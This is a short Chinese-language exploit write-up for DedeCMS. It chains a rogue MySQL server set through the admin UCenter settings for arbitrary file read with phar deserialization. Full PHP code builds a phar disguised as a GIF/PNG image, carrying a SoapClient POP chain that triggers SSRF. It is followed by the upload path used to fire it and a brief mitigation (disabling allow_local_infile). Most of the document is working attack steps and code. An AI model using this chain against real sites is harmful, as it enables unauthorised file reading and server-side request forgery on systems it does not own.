dedecms的后臺存在ucenter功能,可以直接修改ucenter的配置,使網(wǎng)站的mysql連接。指向我們預(yù)先構(gòu)造的rogue mysql server https://github.com/Gifts/Rogue-MySql-Server.git
 
設(shè)置之后我們就可以通過修改惡意服務(wù)端的設(shè)置來讀取任意文件。 假如讀取的文件路徑是以phar協(xié)議開頭的,那么讀取的文件內(nèi)容就會被反序列化。 根據(jù)dedecms的代碼,我們可以利用soapclient內(nèi)置類來構(gòu)造反序列化pop鏈來ssrf。
 
<?php
 
class Control
 
{
 
    var $tpl;
 
    public $dsql;
 
    function __construct(){
 
                $this->dsql = new SoapClient(null,array('uri'=>'http://test:5555', 'location'=>'http://test:5555/aaa'));
 
        }
 
}
 
@unlink("dedecms.phar");
 
$phar = new Phar("dedecms.phar");
 
$phar->startBuffering();
 
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
 
$o = new Control();
 
$phar->setMetadata($o); 
 
$phar->addFromString("test.txt", "test");
 
$phar->stopBuffering();
 
?>
 
 
將生成的文件修改為dedecms.png,然后在dedecms上有很多地方都可以上傳。
 
上傳成功之后可以從文件列表中獲取到圖片鏈接。
 
phar://../uploads/allimg/190724/1_1529564891.png/test.txt
 
設(shè)置完成之后,刷新就可以觸發(fā)ssrf。
 

解決方案:

臨時解決方案
 
通過mysqli_options設(shè)置鏈接時禁用allow_local_infile配置可阻止該漏洞。
 
或在php.ini中改配置為mysqli.allow_local_infile = Off